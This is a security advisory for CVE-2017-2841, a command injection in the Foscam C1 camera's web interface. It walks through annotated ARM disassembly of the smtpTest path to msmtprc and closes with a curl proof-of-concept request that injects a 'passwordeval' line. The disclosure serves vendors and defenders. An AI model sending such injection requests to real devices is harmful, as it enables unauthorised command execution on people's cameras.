CVE-2017-2841
An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the “msmtprc” configuration file resulting in command execution. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.
When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle
function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init
function of the “CGIProxy.fcgi” service using the following code:
.text:00009F20 FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410
.text:00009F28 08 D0 4D E2 SUB SP, SP, #8
.text:00009F2C 05 FC FF EB BL FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2 SUBS R1, R0, #0
.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A BNE leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1 MOV R2, R1
.text:00009F44 1A FC FF EB BL FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3 CMP R0, #0
.text:00009F4C 03 00 00 0A BEQ loc_9F60
...
.text:00009F60 loc_9F60
.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4
.text:00009AD4 registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code
.text:00009AE0 04 00 A0 E1 MOV R0, R4
.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function
.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1 MOV R0, R4
.text:00009AF0 24 10 9F E5 LDR R1, =0x3001
.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1 MOV R0, R4
.text:00009B00 18 10 9F E5 LDR R1, =0x3002
.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}
.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
After the “CGIProxy.fcgi” service decodes an HTTP request that’s forwarded from the HTTP daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg
. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1 MOV R1, R8
.text:00009FB0 07 00 A0 E1 MOV R0, R7
.text:00009FB4 34 FC FF EB BL strcpy ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1 MOV R0, R8
.text:00009FBC C0 FB FF EB BL strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5 LDR R3, =0x404
.text:00009FC4 00 30 8D E5 STR R3, [SP]
.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]
.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request
.text:00009FD0 01 20 A0 E3 MOV R2, #1
.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]
.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]
.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]
.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
The handler for code 0x4001 is in the “webService” binary and is done by the function executeCGICmd
at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that’s responsible for extracting the user name, password, and command that was specified within the user’s query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr
. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand
at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp
and then the function call at [9] will execute the function pointer.
.text:0001E5A4 executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1 MOV R8, R0
.text:0001E5B4 06 10 A0 E1 MOV R1, R6
.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]
.text:00028EAC sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0
.text:00028EB4 00 80 A0 E1 MOV R8, R0
.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118
.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A BEQ leaving_290F4
...
.text:00028F4C 00 00 50 E3 CMP R0, #0
.text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88
...
.text:00028F88 findCmdCallback_28F88
.text:00028F88 05 00 A0 E1 MOV R0, R5
.text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7]
.text:00028F94 00 90 50 E2 SUBS R9, R0, #0
.text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8
...
.text:00028FB8 checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF
.text:00028FC0 08 10 93 E5 LDR R1, [R3,#8]
.text:00028FC4 02 00 51 E1 CMP R1, R2
.text:00028FC8 06 00 00 1A BNE authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1 MOV R0, R4
.text:00028FDC 33 FF 2F E1 BLX R3 ; [8]
.text:00028FE0 09 00 A0 E1 MOV R0, R9
.text:00028FE4 42 00 00 EA B leaving_290F4
...
.text:000290E0 04 00 A0 E1 MOV R0, R4
.text:000290E4 33 FF 2F E1 BLX R3 ; [9]
.text:000290E8 05 00 A0 E1 MOV R0, R5
.text:000290EC 00 00 00 EA B leaving_290F4
...
.text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118
.text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC}
When handling the “CGIProxy.fcgi” command “smtpTest”, the function smtpTest_239bc
will be called. This function is responsible for testing the parameters to be used for sending e-mails. The function extracts the parameters for “smtpServer”, “port”, “isNeedAuth”, “tls”, “user”, “password”, “sender” and forwards them via IPC by calling CMsgClient::sendMsg
, using the code 0x6069 at [10]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:0002B9BC smtpTest_239bc
.text:0002B9BC
.text:0002B9BC 30 40 2D E9 STMFD SP!, {R4,R5,LR}
.text:0002B9C0 DC 30 9F E5 LDR R3, =0xAE9
.text:0002B9C4 7B DF 4D E2 SUB SP, SP, #0x1EC
.text:0002B9C8 00 30 8D E5 STR R3, [SP,#0x1F8+var_1F8]
.text:0002B9CC D4 30 9F E5 LDR R3, =str.CGICommand_smtpTest
...
.text:0002BA00 B0 10 9F E5 LDR R1, =str.smtpServer
.text:0002BA04 00 00 83 E5 STR R0, [R3]
.text:0002BA08 04 00 A0 E1 MOV R0, R4
.text:0002BA0C 0D F2 FF EB BL extract_param
...
.text:0002BA18 9C 10 9F E5 LDR R1, =str.port
.text:0002BA1C 09 F2 FF EB BL extract_param
...
.text:0002BA28 90 10 9F E5 LDR R1, =str.isNeedAuth
.text:0002BA2C 05 F2 FF EB BL extract_param
...
.text:0002BA38 84 10 9F E5 LDR R1, =str.tls
.text:0002BA3C 01 F2 FF EB BL extract_param
...
.text:0002BA48 78 10 9F E5 LDR R1, =str.user
.text:0002BA4C FD F1 FF EB BL extract_param
..
.text:0002BA58 6C 10 9F E5 LDR R1, =str.password
.text:0002BA5C F9 F1 FF EB BL extract_param
...
.text:0002BA68 60 10 9F E5 LDR R1, =str.sender
.text:0002BA6C F5 F1 FF EB BL extract_param
...
.text:0002BA88 44 10 9F E5 LDR R1, =0x6069 ; [10]
...
.text:0002BA94 3C 00 9F E5 LDR R0, =dword_9FC90 ; this
.text:0002BA98 EF 9B FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
.text:0002BA9C 7B DF 8D E2 ADD SP, SP, #0x1EC
.text:0002BAA0 30 80 BD E8 LDMFD SP!, {R4,R5,PC}
The handler for code 0x6069 is in the “devMng” binary and is done by the function OnDevMngMsgSmtpMailTest_d9e4
at address 0x159e4. This function extracts the product model of the camera and replies to the message with this information. The reply is handled back in the “webService” binary by the function OnWebServiceMsgSmtpMailTestReply_e474
at address 0x16474. This function parses the numeric function arguments ([11] “port”, “isNeedAuth”, etc.) and calls testSmtpServer_52cf0
.
.text:00016474 OnWebServiceMsgSmtpMailTestReply_e474
.text:00016474
.text:00016474 000 F0 47 2D E9 STMFD SP!, {R4-R10,LR}
...
.text:000164E0 4D0 E8 00 85 E2 ADD R0, R5, #0xE8 ; nptr
.text:000164E4 4D0 8D F3 FF EB BL atoi ; [11]
...
.text:00016504 4D0 01 3C 85 E2 ADD R3, R5, #0x100
.text:00016508 4D0 0C 30 8D E5 STR R3, [SP,#0x4B0+var_4A4]
.text:0001650C 4D0 05 3D 85 E2 ADD R3, R5, #0x140
.text:00016510 4D0 10 30 8D E5 STR R3, [SP,#0x4B0+var_4A0]
.text:00016514 4D0 06 1D 85 E2 ADD R1, R5, #0x180
.text:00016518 4D0 68 30 85 E2 ADD R3, R5, #0x68
.text:0001651C 4D0 08 20 A0 E1 MOV R2, R8
.text:00016520 4D0 00 06 8D E8 STMEA SP, {R9,R10}
.text:00016524 4D0 14 70 8D E5 STR R7, [SP,#0x4B0+var_49C]
.text:00016528 4D0 4A 5E 8D E2 ADD R5, SP, #0x4B0+var_10
.text:0001652C 4D0 08 50 85 E2 ADD R5, R5, #8
.text:00016530 4D0 08 00 8D E5 STR R0, [SP,#0x4B0+var_4A8]
.text:00016534 4D0 88 00 9F E5 LDR R0, =dword_A4D68
.text:00016538 4D0 EC 11 01 EB BL testSmtpServer_52cf0
The function testSmtpServer_52cf0
receives 9 parameters: “C1” (the product model), “smtpServer”, “sender”, “port”, “isNeedAuth”, “tls”, “user”, “password” and a pointer to a 128 bytes stack variable. First the function checks if the parameters are non-null, then parses the SMTP server [12], creates the subject of the mail using sprintf
[13] and calls sendSmtpTestMail_51f6c
[14].
.text:0005ACF0 testSmtpServer_52cf0
.text:0005ACF0
.text:0005ACF0 F0 4F 2D E9 STMFD SP!, {R4-R11,LR}
.text:0005ACFC 00 70 52 E2 SUBS R7, R2, #0 ; [12]
...
.text:0005AE00 loc_5AE00
.text:0005AE00 67 5E 8D E2 ADD R5, SP, #0x710+s
.text:0005AE04 63 AE 8D E2 ADD R10, SP, #0x710+var_E0
.text:0005AE08 05 00 A0 E1 MOV R0, R5
.text:0005AE0C 00 10 A0 E3 MOV R1, #0
.text:0005AE10 40 20 A0 E3 MOV R2, #0x40
.text:0005AE14 33 E0 FE EB BL memset
.text:0005AE18 0A 00 A0 E1 MOV R0, R10
.text:0005AE1C 00 10 A0 E3 MOV R1, #0
.text:0005AE20 40 20 A0 E3 MOV R2, #0x40
.text:0005AE24 2F E0 FE EB BL memset
.text:0005AE28 0A 20 A0 E1 MOV R2, R10
.text:0005AE2C 05 30 A0 E1 MOV R3, R5
.text:0005AE30 8C 12 9F E5 LDR R1, =str.az___AZ_09_s ; "%[a-z,_,A-Z,0-9].%s"
.text:0005AE34 07 00 A0 E1 MOV R0, R7
.text:0005AE38 C4 DF FE EB BL sscanf ; [12]
...
.text:0005AFD8 loc_5AFD8
.text:0005AFD8 10 11 9F E5 LDR R1, =str.IPCameraSMTPtestmail ; "%s:IPCamera SMTP test mail"
.text:0005AFDC 0B 20 A0 E1 MOV R2, R11
.text:0005AFE0 05 00 A0 E1 MOV R0, R5
.text:0005AFE4 19 E0 FE EB BL sprintf ; [13]
.text:0005AFE8 00 30 A0 E3 MOV R3, #0
.text:0005AFEC 00 30 8D E5 STR R3, [SP,#0x710+var_710]
.text:0005AFF0 04 30 8D E5 STR R3, [SP,#0x710+var_70C]
.text:0005AFF4 10 37 9D E5 LDR R3, [SP,#0x710+port]
.text:0005AFF8 14 30 8D E5 STR R3, [SP,#0x710+var_6FC]
.text:0005AFFC 14 37 9D E5 LDR R3, [SP,#0x710+isNeedAuth]
.text:0005B000 18 30 8D E5 STR R3, [SP,#0x710+var_6F8]
.text:0005B004 18 37 9D E5 LDR R3, [SP,#0x710+tls]
.text:0005B008 1C 30 8D E5 STR R3, [SP,#0x710+var_6F4]
.text:0005B00C 20 37 9D E5 LDR R3, [SP,#0x710+password]
.text:0005B010 24 30 8D E5 STR R3, [SP,#0x710+var_6EC]
.text:0005B014 14 30 A0 E3 MOV R3, #0x14
.text:0005B018 2C 30 8D E5 STR R3, [SP,#0x710+var_6E4]
.text:0005B01C 08 00 A0 E1 MOV R0, R8
.text:0005B020 05 10 A0 E1 MOV R1, R5
.text:0005B024 C8 20 9F E5 LDR R2, =str.body ; "This is a test mail sent by your IPCamera"
.text:0005B028 74 30 9F E5 LDR R3, =unk_8D28B
.text:0005B02C 08 40 8D E5 STR R4, [SP,#0x710+var_708]
.text:0005B030 0C 40 8D E5 STR R4, [SP,#0x710+var_704]
.text:0005B034 10 70 8D E5 STR R7, [SP,#0x710+src]
.text:0005B038 20 90 8D E5 STR R9, [SP,#0x710+var_6F0]
.text:0005B03C 28 60 8D E5 STR R6, [SP,#0x710+var_6E8]
.text:0005B040 C9 FB FF EB BL sendSmtpTestMail_51f6c ; [14]
This function takes care of checking again that the parameters are valid by comparing them with null. Then it proceeds to copying the SMTP username and password in local variables [15] [16], and extracting at most 4 recipients from the comma-separated list provided from the user using the “sender” parameter [17]. Note that extract_recipients
also allows “;” and “ “ as separators. Parameters are then collected and passed to the function smtpTestConfigure
[18].
.text:00059F6C sendSmtpTestMail_51f6c
.text:00059F6C
.text:00059F6C F0 4F 2D E9 STMFD SP!, {R4-R11,LR}
...
.text:0005A0F0 00 00 52 E3 CMP R2, #0
.text:0005A0F4 18 10 94 05 LDREQ R1, [R4,#0x18]
.text:0005A0F8 C0 1A 9D 15 LDRNE R1, [SP,#0xAA0+src]
.text:0005A0FC 1D E5 FE EB BL strcpy ; [15]
.text:0005A100 C4 3A 9D E5 LDR R3, [SP,#0xAA0+arg_24]
.text:0005A104 9B 0E 8D E2 ADD R0, SP, #0xAA0+dest
.text:0005A108 00 00 53 E3 CMP R3, #0
.text:0005A10C 1C 10 94 05 LDREQ R1, [R4,#0x1C]
.text:0005A110 C4 1A 9D 15 LDRNE R1, [SP,#0xAA0+arg_24]
.text:0005A114 17 E5 FE EB BL strcpy ; [16]
...
.text:0005A280 0A 10 A0 E1 MOV R1, R10
.text:0005A284 07 20 A0 E1 MOV R2, R7
.text:0005A288 04 00 A0 E1 MOV R0, R4
.text:0005A28C DD FA FF EB BL extract_recipients ; [17]
.text:0005A290 08 20 A0 E1 MOV R2, R8
.text:0005A294 00 10 A0 E1 MOV R1, R0
.text:0005A298 04 00 A0 E1 MOV R0, R4
.text:0005A29C D9 FA FF EB BL extract_recipients ; [17]
.text:0005A2A0 09 20 A0 E1 MOV R2, R9
.text:0005A2A4 00 10 A0 E1 MOV R1, R0
.text:0005A2A8 04 00 A0 E1 MOV R0, R4
.text:0005A2AC D5 FA FF EB BL extract_recipients ; [17]
.text:0005A2B0 0B 20 A0 E1 MOV R2, R11
.text:0005A2B4 00 10 A0 E1 MOV R1, R0
.text:0005A2B8 04 00 A0 E1 MOV R0, R4
.text:0005A2BC D1 FA FF EB BL extract_recipients ; [17]
...
.text:0005A404 18 30 9D E5 LDR R3, [SP,#0xAA0+var_A88]
.text:0005A408 00 30 8D E5 STR R3, [SP,#0xAA0+var_AA0]
.text:0005A40C 9F 3E 8D E2 ADD R3, SP, #0xAA0+s
.text:0005A410 04 30 8D E5 STR R3, [SP,#0xAA0+var_A9C]
.text:0005A414 9B 3E 8D E2 ADD R3, SP, #0xAA0+dest
.text:0005A418 CC 2A 9D E5 LDR R2, [SP,#0xAA0+arg_2C]
.text:0005A41C 08 30 8D E5 STR R3, [SP,#0xAA0+var_A98]
.text:0005A420 7B 3E 8D E2 ADD R3, SP, #0xAA0+var_2F0
.text:0005A424 A3 1E 8D E2 ADD R1, SP, #0xAA0+var_70
.text:0005A428 0C 30 8D E5 STR R3, [SP,#0xAA0+var_A94]
.text:0005A42C 10 20 8D E5 STR R2, [SP,#0xAA0+var_A90]
.text:0005A430 1C 30 9D E5 LDR R3, [SP,#0xAA0+var_A84]
.text:0005A434 20 20 9D E5 LDR R2, [SP,#0xAA0+var_A80]
.text:0005A438 04 00 A0 E1 MOV R0, R4
.text:0005A43C 6D FB FF EB BL smtpTestConfigure ; [18]
smtpTestConfigure
simply opens a file in “/usr/local/etc/msmtprc” and populates it with the “msmtp” configuration, by adding user-supplied strings like “host”, “port”, “from”, “user”, “password” [19]. The “smtpServer” parameter is written without any sanitization on the “host “ line of the file.
.text:000591F8 smtpTestConfigure
.text:000591F8
.text:000591F8 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:000591FC 1C 02 9F E5 LDR R0, =str._usr_local_ ; "/usr/local/"
...
.text:0005921C 54 E5 FE EB BL mkdir
.text:00059224 F8 01 9F E5 LDR R0, =str._usr_local_etc_ ; "/usr/local/etc/"
.text:00059228 51 E5 FE EB BL mkdir
.text:0005922C 20 10 A0 E3 MOV R1, #0x20
.text:00059230 10 00 A0 E3 MOV R0, #0x10
.text:00059234 7A 1A FF EB BL std::operator|
.text:00059238 04 A0 8D E2 ADD R10, SP, #0x138+var_134
.text:0005923C E4 11 9F E5 LDR R1, =str._usr_local_etc_msmtprc ; "/usr/local/etc/msmtprc"
.text:00059240 00 20 A0 E1 MOV R2, R0
.text:00059244 0A 00 A0 E1 MOV R0, R10
.text:00059248 68 E4 FE EB BL std::basic_ofstream::basic_ofstream()
.text:0005924C 0A 00 A0 E1 MOV R0, R10
.text:00059250 D4 11 9F E5 LDR R1, =str.defaults ; "defaults\n"
.text:00059254 10 E5 FE EB BL std::operator<<
.text:00059258 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:0005925C CC 11 9F E5 LDR R1, =str.logfile_tmp__msmtp_log ; "logfile /tmp/.msmtp.log\n"
.text:00059260 0D E5 FE EB BL std::operator<<
.text:00059264 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059268 C4 11 9F E5 LDR R1, =str.accountfoscam ; "account foscam\n"
.text:0005926C 0A E5 FE EB BL std::operator<<
.text:00059270 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059274 BC 11 9F E5 LDR R1, =str.host ; "host "
.text:00059278 07 E5 FE EB BL std::operator<<
.text:0005927C 05 10 A0 E1 MOV R1, R5 ; [19]
.text:00059280 05 E5 FE EB BL std::operator<<
.text:00059284 B0 11 9F E5 LDR R1, =str.newline
.text:00059288 03 E5 FE EB BL std::operator<<
.text:0005928C 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059290 A8 11 9F E5 LDR R1, =str.port_0 ; "port "
.text:00059294 00 E5 FE EB BL std::operator<<
.text:00059298 06 10 A0 E1 MOV R1, R6 ; [19]
.text:0005929C 34 E8 FE EB BL std::ostream::operator<<(int)
.text:000592A0 94 11 9F E5 LDR R1, =str.newline
.text:000592A4 FC E4 FE EB BL std::operator<<
.text:000592A8 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:000592AC 90 11 9F E5 LDR R1, =str.timeout ; "timeout "
.text:000592B0 F9 E4 FE EB BL std::operator<<
.text:000592B4 48 11 9D E5 LDR R1, [SP,#0x138+arg_10]
.text:000592B8 2D E8 FE EB BL std::ostream::operator<<
.text:000592BC 78 11 9F E5 LDR R1, =str.newline
.text:000592C0 F5 E4 FE EB BL std::operator<<
.text:000592C4 00 30 D7 E5 LDRB R3, [R7]
.text:000592C8 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:000592CC 00 00 53 E3 CMP R3, #0
.text:000592D0 70 11 9F 05 LDREQ R1, =str.auto_fromon ; "auto_from on\n"
.text:000592D4 04 00 00 0A BEQ loc_592EC
.text:000592D8 6C 11 9F E5 LDR R1, =str.from ; "from "
.text:000592DC EE E4 FE EB BL std::operator<<
.text:000592E0 07 10 A0 E1 MOV R1, R7 ; [19]
.text:000592E4 EC E4 FE EB BL std::operator<<
.text:000592E8 4C 11 9F E5 LDR R1, =str.newline
.text:000592EC
.text:000592EC loc_592EC
.text:000592EC EA E4 FE EB BL std::operator<<
.text:000592F0 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:000592F4 54 11 9F E5 LDR R1, =str.auth_0 ; "auth "
.text:000592F8 E7 E4 FE EB BL std::operator<<
.text:000592FC 50 31 9F E5 LDR R3, =(str.tlsoff+4) ; "off"
.text:00059300 00 00 58 E3 CMP R8, #0
.text:00059304 4C 11 9F E5 LDR R1, =str.login ; "login"
.text:00059308 03 10 A0 01 MOVEQ R1, R3
.text:0005930C E2 E4 FE EB BL std::operator<<
.text:00059310 24 11 9F E5 LDR R1, =str.newline
.text:00059314 E0 E4 FE EB BL std::operator<<
.text:00059318 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:0005931C 38 11 9F E5 LDR R1, =str.user ; "user "
.text:00059320 DD E4 FE EB BL std::operator<<
.text:00059324 3C 11 9D E5 LDR R1, [SP,#0x138+arg_4] ; [19]
.text:00059328 DB E4 FE EB BL std::operator<<
.text:0005932C 08 11 9F E5 LDR R1, =str.newline
.text:00059330 D9 E4 FE EB BL std::operator<<
.text:00059334 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059338 20 11 9F E5 LDR R1, =str.password_0 ; "password "
.text:0005933C D6 E4 FE EB BL std::operator<<
.text:00059340 40 11 9D E5 LDR R1, [SP,#0x138+arg_8] ; [19]
.text:00059344 D4 E4 FE EB BL std::operator<<
.text:00059348 EC 10 9F E5 LDR R1, =str.newline
.text:0005934C D2 E4 FE EB BL std::operator<<
.text:00059350 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059354 08 11 9F E5 LDR R1, =str.accountdefault_foscam ; "account default : foscam\n"
.text:00059358 CF E4 FE EB BL std::operator<<
.text:0005935C 00 00 54 E3 CMP R4, #0
.text:00059360 04 00 8D 02 ADDEQ R0, SP, #0x138+var_134
.text:00059364 FC 10 9F 05 LDREQ R1, =str.tlsoff ; "tls off"
.text:00059368 17 00 00 0A BEQ loc_593CC
.text:0005936C 01 00 54 E3 CMP R4, #1
.text:00059370 07 00 00 1A BNE loc_59394
.text:00059374 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059378 EC 10 9F E5 LDR R1, =str.tlson ; "tls on"
.text:0005937C C6 E4 FE EB BL std::operator<<
.text:00059380 B4 10 9F E5 LDR R1, =str.newline
.text:00059384 C4 E4 FE EB BL std::operator<<
.text:00059388 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:0005938C DC 10 9F E5 LDR R1, =unk_87CF3
.text:00059390 08 00 00 EA B loc_593B8
...
.text:0005940C 04 00 8D E2 ADD R0, SP, #0x138+var_134
.text:00059410 AF E5 FE EB BL std::basic_ofstream::~basic_ofstream()
.text:00059414 04 00 A0 E1 MOV R0, R4
.text:00059418 47 DF 8D E2 ADD SP, SP, #0x11C
.text:0005941C F0 85 BD E8 LDMFD SP!, {R4-R8,R10,PC}
Back into the parent function, the execution continues with encoding the mail subject [20], preparing a “/tmp/.mail” file containing the mail contents [21], concatenating the previously extracted recipients, removing any old “/tmp/.msmtp.log” log file [22] and calling “msmtp” using system
at [23].
...
.text:0005A480 A7 0E 8D E2 ADD R0, SP, #0xAA0+var_30
.text:0005A484 3C E3 FE EB BL CBase64Codec::Encode(uchar const*,int) ; [20]
...
.text:0005A4BC 14 16 9F E5 LDR R1, =str._UTF8_B_s_ ; "=?UTF-8?B?%s?="
.text:0005A4C0 74 2A 9D E5 LDR R2, [SP,#0xAA0+var_2C]
.text:0005A4C4 07 00 A0 E1 MOV R0, R7
.text:0005A4C8 E0 E2 FE EB BL sprintf ; [20]
.text:0005A4CC 28 30 9D E5 LDR R3, [SP,#0xAA0+var_A78]
.text:0005A4D0 04 30 8D E5 STR R3, [SP,#0xAA0+var_A9C]
.text:0005A4D4 A0 3A 9D E5 LDR R3, [SP,#0xAA0+arg_0]
.text:0005A4D8 2C 20 9D E5 LDR R2, [SP,#0xAA0+var_A74]
.text:0005A4DC 0C 30 8D E5 STR R3, [SP,#0xAA0+var_A94]
.text:0005A4E0 A4 3A 9D E5 LDR R3, [SP,#0xAA0+arg_4]
.text:0005A4E4 08 20 8D E5 STR R2, [SP,#0xAA0+var_A98]
.text:0005A4E8 10 30 8D E5 STR R3, [SP,#0xAA0+var_A90]
.text:0005A4EC 04 00 A0 E1 MOV R0, R4
.text:0005A4F0 E4 15 9F E5 LDR R1, =str.ipcamera ; "IPCamera"
.text:0005A4F4 7B 2E 8D E2 ADD R2, SP, #0xAA0+var_2F0
.text:0005A4F8 63 3E 8D E2 ADD R3, SP, #0xAA0+var_470
.text:0005A4FC 00 70 8D E5 STR R7, [SP,#0xAA0+var_AA0]
.text:0005A500 DA FC FF EB BL generateSnapPicEmail__51870 ; [21]
...
.text:0005A620 D0 04 9F E5 LDR R0, =str._tmp__msmtp_log ; "/tmp/.msmtp.log"
.text:0005A624 37 E0 FE EB BL remove ; [22]
.text:0005A628 06 00 A0 E1 MOV R0, R6
.text:0005A62C F3 E2 FE EB BL pthread_mutex_unlock
.text:0005A630 73 4E 8D E2 ADD R4, SP, #0xAA0+var_370
.text:0005A634 BC 04 9F E5 LDR R0, =str._tmp__msmtp_log ; "/tmp/.msmtp.log"
.text:0005A638 32 E0 FE EB BL remove ; [22]
.text:0005A63C 04 00 A0 E1 MOV R0, R4
.text:0005A640 B4 14 9F E5 LDR R1, =str.catsmsmtps ; "cat %s | msmtp %s &"
.text:0005A644 B4 24 9F E5 LDR R2, =str.tmp__mail ; "/tmp/.mail"
.text:0005A648 63 3E 8D E2 ADD R3, SP, #0xAA0+var_470
.text:0005A64C 7F E2 FE EB BL sprintf
.text:0005A650 04 00 A0 E1 MOV R0, R4
.text:0005A654 BC DF FE EB BL system ; [23]
Once “msmtp” loads, it reads the configuration file and sends the mail accordingly.
In the “msmtprc” file exists an option that allows for executing a command for decrypting the password before sending a mail. From http://msmtp.sourceforge.net/doc/msmtprc.txt:
# Password method 2: Store the password in an encrypted file, and tell msmtp
# which command to use to decrypt it. This is usually used with GnuPG, as in
# this example. Usually gpg-agent will ask once for the decryption password.
passwordeval gpg2 --no-tty -q -d ~/.msmtp-password.gpg
An attacker able to arbitrarily inject new lines in “msmtprc” can leverage this functionality to execute arbitrary commands.
This vulnerability is reachable by the “smtpTest” command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.
```
$ sUsr="admin"
$ sPwd=""
$ sInj="%0apasswordeval%20id>/tmp/www/injected.txt"
$ curl -m2 "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=smtpTest&smtpServer=${SMTPHOST}${sInj}&port=${SMTPPORT}&isNeedAuth=1&user=${SMTPUSR}&password=&sender=${SENDERMAIL}"
```
2017-05-25 - Vendor Disclosure
2017-06-19 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.